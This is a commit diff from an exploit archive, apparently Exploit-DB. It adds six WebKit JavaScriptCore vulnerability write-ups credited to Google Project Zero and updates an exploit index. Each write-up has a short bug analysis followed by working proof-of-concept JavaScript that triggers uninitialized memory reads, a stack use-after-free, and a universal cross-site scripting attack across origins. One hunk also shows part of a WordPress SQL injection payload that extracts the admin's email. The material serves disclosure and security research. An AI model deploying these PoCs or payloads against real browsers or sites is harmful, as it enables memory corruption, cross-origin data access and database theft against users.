DB: 2017-07-26
6 new exploits WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Handling WebKit JSC - 'arrayProtoFuncSplice' Uninitialized Memory Reference WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy WebKit JSC - 'ArgumentsEliminationPhase::transform' Incorrect LoadVarargs Handling WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free WebKit JSC - 'JSObject::putInlineSlow and JSValue::putToPrimitive' Universal Cross-Site Scripting
This commit is contained in:
parent
e27b6b8408
commit
2351348891
9 changed files with 534 additions and 221 deletions
|
@ -5620,6 +5620,11 @@ id,file,description,date,author,platform,type,port
|
||||||
42365,platforms/multiple/dos/42365.html,"WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
42365,platforms/multiple/dos/42365.html,"WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
42366,platforms/multiple/dos/42366.html,"WebKit - 'WebCore::Node::getFlag' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
42366,platforms/multiple/dos/42366.html,"WebKit - 'WebCore::Node::getFlag' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
42367,platforms/multiple/dos/42367.html,"WebKit - 'WebCore::getCachedWrapper' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
42367,platforms/multiple/dos/42367.html,"WebKit - 'WebCore::getCachedWrapper' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
|
42373,platforms/multiple/dos/42373.html,"WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Handling",2017-07-25,"Google Security Research",multiple,dos,0
|
||||||
|
42374,platforms/multiple/dos/42374.html,"WebKit JSC - 'arrayProtoFuncSplice' Uninitialized Memory Reference",2017-07-25,"Google Security Research",multiple,dos,0
|
||||||
|
42375,platforms/multiple/dos/42375.html,"WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy",2017-07-25,"Google Security Research",multiple,dos,0
|
||||||
|
42376,platforms/multiple/dos/42376.html,"WebKit JSC - 'ArgumentsEliminationPhase::transform' Incorrect LoadVarargs Handling",2017-07-25,"Google Security Research",multiple,dos,0
|
||||||
|
42377,platforms/multiple/dos/42377.txt,"WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free",2017-07-25,"Google Security Research",multiple,dos,0
|
||||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||||
|
@ -38174,3 +38179,4 @@ id,file,description,date,author,platform,type,port
|
||||||
42359,platforms/php/webapps/42359.txt,"PaulShop - SQL Injection / Cross-Site Scripting",2017-07-24,"BTIS Team",php,webapps,0
|
42359,platforms/php/webapps/42359.txt,"PaulShop - SQL Injection / Cross-Site Scripting",2017-07-24,"BTIS Team",php,webapps,0
|
||||||
42371,platforms/json/webapps/42371.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution",2017-07-24,"RedTeam Pentesting",json,webapps,0
|
42371,platforms/json/webapps/42371.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution",2017-07-24,"RedTeam Pentesting",json,webapps,0
|
||||||
42372,platforms/json/webapps/42372.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Arbitrary File Disclosure",2017-07-24,"RedTeam Pentesting",json,webapps,0
|
42372,platforms/json/webapps/42372.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Arbitrary File Disclosure",2017-07-24,"RedTeam Pentesting",json,webapps,0
|
||||||
|
42378,platforms/multiple/webapps/42378.html,"WebKit JSC - 'JSObject::putInlineSlow and JSValue::putToPrimitive' Universal Cross-Site Scripting",2017-07-25,"Google Security Research",multiple,webapps,0
|
||||||
|
|
Can't render this file because it is too large.
|
27
platforms/multiple/dos/42373.html
Executable file
27
platforms/multiple/dos/42373.html
Executable file
|
@ -0,0 +1,27 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1234
|
||||||
|
|
||||||
|
Here's a snippet of DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry).
|
||||||
|
|
||||||
|
void flush(InlineStackEntry* inlineStackEntry)
|
||||||
|
{
|
||||||
|
...
|
||||||
|
if (m_graph.needsScopeRegister())
|
||||||
|
flush(m_codeBlock->scopeRegister()); <<--- (a)
|
||||||
|
}
|
||||||
|
|
||||||
|
At (a), it should flush the scope register of |inlineStackEntry->m_codeBlock| instead of |m_codeBlock|. But it doesn't. As a result, the scope register of |inlineStackEntry->m_codeBlock| may have an incorrect offset in the stack layout phase.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
function f() {
|
||||||
|
(function () {
|
||||||
|
eval('1');
|
||||||
|
f();
|
||||||
|
}());
|
||||||
|
|
||||||
|
throw 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
f();
|
53
platforms/multiple/dos/42374.html
Executable file
53
platforms/multiple/dos/42374.html
Executable file
|
@ -0,0 +1,53 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1234
|
||||||
|
|
||||||
|
Here's a snippet of arrayProtoFuncSplice.
|
||||||
|
|
||||||
|
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
|
||||||
|
{
|
||||||
|
...
|
||||||
|
|
||||||
|
result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
|
||||||
|
if (UNLIKELY(!result)) {
|
||||||
|
throwOutOfMemoryError(exec, scope);
|
||||||
|
return encodedJSValue();
|
||||||
|
}
|
||||||
|
|
||||||
|
// The result can have an ArrayStorage indexing type if we're having a bad time.
|
||||||
|
bool isArrayStorage = hasAnyArrayStorage(result->indexingType());
|
||||||
|
bool success = false;
|
||||||
|
if (UNLIKELY(isArrayStorage)) {
|
||||||
|
static const bool needToFillHolesManually = true;
|
||||||
|
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
|
||||||
|
} else {
|
||||||
|
ASSERT(hasUndecided(result->indexingType()));
|
||||||
|
static const bool needToFillHolesManually = false;
|
||||||
|
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
|
||||||
|
}
|
||||||
|
if (UNLIKELY(!success)) {
|
||||||
|
ASSERT(scope.exception());
|
||||||
|
return encodedJSValue();
|
||||||
|
}
|
||||||
|
...
|
||||||
|
}
|
||||||
|
|
||||||
|
|result| has uninitalized values. If a GC is triggered before those values get initalized, the garbage collector will refer the uninitialized values.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
function gc() {
|
||||||
|
for (let i = 0; i < 4; i++)
|
||||||
|
new ArrayBuffer(0x1000000);
|
||||||
|
}
|
||||||
|
|
||||||
|
Array.prototype.__defineGetter__(1000, () => 0);
|
||||||
|
|
||||||
|
for (let i = 0; i < 0x1000; i++)
|
||||||
|
new Array(0x10).fill([{}, {}, {}, {}]);
|
||||||
|
|
||||||
|
for (let i = 0; i < 0x1000; i++) {
|
||||||
|
let x = {length: 0x10};
|
||||||
|
x.__defineGetter__(0, () => gc());
|
||||||
|
Array.prototype.splice.call(x, 0);
|
||||||
|
}
|
74
platforms/multiple/dos/42375.html
Executable file
74
platforms/multiple/dos/42375.html
Executable file
|
@ -0,0 +1,74 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1236
|
||||||
|
|
||||||
|
WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy
|
||||||
|
|
||||||
|
Here's a snippet of JSArray::appendMemcpy.
|
||||||
|
|
||||||
|
bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
|
||||||
|
{
|
||||||
|
auto scope = DECLARE_THROW_SCOPE(vm);
|
||||||
|
|
||||||
|
if (!canFastCopy(vm, otherArray))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
IndexingType type = indexingType();
|
||||||
|
IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());
|
||||||
|
if (type == ArrayWithUndecided && copyType != NonArray) {
|
||||||
|
if (copyType == ArrayWithInt32)
|
||||||
|
convertUndecidedToInt32(vm);
|
||||||
|
else if (copyType == ArrayWithDouble)
|
||||||
|
convertUndecidedToDouble(vm);
|
||||||
|
else if (copyType == ArrayWithContiguous)
|
||||||
|
convertUndecidedToContiguous(vm);
|
||||||
|
else {
|
||||||
|
ASSERT(copyType == ArrayWithUndecided);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} else if (type != copyType)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
if (type == ArrayWithDouble)
|
||||||
|
memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
|
||||||
|
else
|
||||||
|
memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.
|
||||||
|
So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
function optNewArrayAndConcat() {
|
||||||
|
let a = [,,,,,,,,,];
|
||||||
|
return Array.prototype.concat.apply(a);
|
||||||
|
}
|
||||||
|
|
||||||
|
function main() {
|
||||||
|
Array.prototype.constructor = {
|
||||||
|
[Symbol.species]: function () {
|
||||||
|
return [{}];
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
gc();
|
||||||
|
|
||||||
|
for (let i = 0; i < 0x10000; i++) {
|
||||||
|
optNewArrayAndConcat().fill({});
|
||||||
|
}
|
||||||
|
|
||||||
|
gc();
|
||||||
|
|
||||||
|
for (let i = 0; i < 0x20000; i++) {
|
||||||
|
let res = optNewArrayAndConcat();
|
||||||
|
if (res[0])
|
||||||
|
print(res.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
main();
|
68
platforms/multiple/dos/42376.html
Executable file
68
platforms/multiple/dos/42376.html
Executable file
|
@ -0,0 +1,68 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1262
|
||||||
|
|
||||||
|
Here is a snippet of ArgumentsEliminationPhase::transform
|
||||||
|
case LoadVarargs:
|
||||||
|
...
|
||||||
|
if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) {
|
||||||
|
...
|
||||||
|
if (argumentCountIncludingThis <= varargsData->limit) {
|
||||||
|
storeArgumentCountIncludingThis(argumentCountIncludingThis);
|
||||||
|
// store arguments
|
||||||
|
...
|
||||||
|
}
|
||||||
|
|
||||||
|
node->remove();
|
||||||
|
node->origin.exitOK = canExit;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
const kArgsLength = 0x101;
|
||||||
|
|
||||||
|
let buggy = null;
|
||||||
|
function inlineFunc() {
|
||||||
|
if (arguments.length != kArgsLength) {
|
||||||
|
buggy = arguments;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class ClassForInine extends inlineFunc {
|
||||||
|
}
|
||||||
|
|
||||||
|
function sleep(ms) {
|
||||||
|
let start = new Date();
|
||||||
|
while (new Date() - start < ms);
|
||||||
|
}
|
||||||
|
|
||||||
|
function main() {
|
||||||
|
let args = new Array(kArgsLength);
|
||||||
|
args.fill(333 + 1);
|
||||||
|
args = args.join(', ');
|
||||||
|
|
||||||
|
let opt = new Function(`(() => {
|
||||||
|
new ClassForInine(${args});
|
||||||
|
})();`);
|
||||||
|
|
||||||
|
for (let i = 0; i < 0x100000; i++) {
|
||||||
|
opt();
|
||||||
|
|
||||||
|
if (i === 0x3000)
|
||||||
|
sleep(1000);
|
||||||
|
|
||||||
|
if (buggy) {
|
||||||
|
print('buggy.length: ' + buggy.length);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (let i = 0, n = buggy.length; i < n; i++) {
|
||||||
|
print(buggy[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
main();
|
25
platforms/multiple/dos/42377.txt
Executable file
25
platforms/multiple/dos/42377.txt
Executable file
|
@ -0,0 +1,25 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256
|
||||||
|
|
||||||
|
Here's a snippet of ObjectPatternNode::appendEntry.
|
||||||
|
|
||||||
|
void appendEntry(const JSTokenLocation&, ExpressionNode* propertyExpression, DestructuringPatternNode* pattern, ExpressionNode* defaultValue, BindingType bindingType)
|
||||||
|
{
|
||||||
|
m_targetPatterns.append(Entry{ Identifier(), propertyExpression, false, pattern, defaultValue, bindingType });
|
||||||
|
}
|
||||||
|
|
||||||
|
Here's the definition of Entry.
|
||||||
|
|
||||||
|
struct Entry {
|
||||||
|
const Identifier& propertyName;
|
||||||
|
ExpressionNode* propertyExpression;
|
||||||
|
bool wasString;
|
||||||
|
DestructuringPatternNode* pattern;
|
||||||
|
ExpressionNode* defaultValue;
|
||||||
|
BindingType bindingType;
|
||||||
|
};
|
||||||
|
|
||||||
|
The Identifier object created by "Identifier()" is in the stack. So it will get freed in the end of the appendEntry method.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
|
||||||
|
var {[a]: b, ...[]} = {};
|
58
platforms/multiple/webapps/42378.html
Executable file
58
platforms/multiple/webapps/42378.html
Executable file
|
@ -0,0 +1,58 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1240
|
||||||
|
|
||||||
|
JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.
|
||||||
|
|
||||||
|
The PoC shows to call a setter of another origin's object.
|
||||||
|
|
||||||
|
PoC 1 - JSValue::putToPrimitive:
|
||||||
|
-->
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
let f = document.body.appendChild(document.createElement('iframe'));
|
||||||
|
let loc = f.contentWindow.location;
|
||||||
|
f.onload = () => {
|
||||||
|
let a = 1.2;
|
||||||
|
a.__proto__.__proto__ = f.contentWindow;
|
||||||
|
|
||||||
|
a['test'] = {toString: function () {
|
||||||
|
arguments.callee.caller.constructor('alert(location)')();
|
||||||
|
}};
|
||||||
|
};
|
||||||
|
f.src = 'data:text/html,' + `<iframe></iframe><script>
|
||||||
|
Object.prototype.__defineSetter__('test', v => {
|
||||||
|
'a' + v;
|
||||||
|
});
|
||||||
|
|
||||||
|
</scrip` + `t>`;
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
PoC 2 - JSObject::putInlineSlow:
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
let f = document.body.appendChild(document.createElement('iframe'));
|
||||||
|
let loc = f.contentWindow.location;
|
||||||
|
f.onload = () => {
|
||||||
|
let a = {
|
||||||
|
__proto__: f.contentWindow
|
||||||
|
};
|
||||||
|
|
||||||
|
a['test'] = {toString: function () {
|
||||||
|
arguments.callee.caller.constructor('alert(location)')();
|
||||||
|
}};
|
||||||
|
};
|
||||||
|
f.src = 'data:text/html,' + `<iframe></iframe><script>
|
||||||
|
Object.prototype.__defineSetter__('test', v => {
|
||||||
|
'a' + v;
|
||||||
|
});
|
||||||
|
|
||||||
|
</scrip` + `t>`;
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
-->
|
|
@ -130,6 +130,8 @@ and subdate(curdate(), interval 9999
|
||||||
9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1
|
9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1
|
||||||
and subdate(curdate(), interval 9999
|
and subdate(curdate(), interval 9999
|
||||||
|
|
||||||
|
## E-DB NOTE: Try 999 days if 9999 doesn't work in your environment.
|
||||||
|
|
||||||
I wrote a PoC, to get automatically the password hash of the WordPress
|
I wrote a PoC, to get automatically the password hash of the WordPress
|
||||||
admin account:
|
admin account:
|
||||||
|
|
||||||
|
|
Loading…
Add table
Reference in a new issue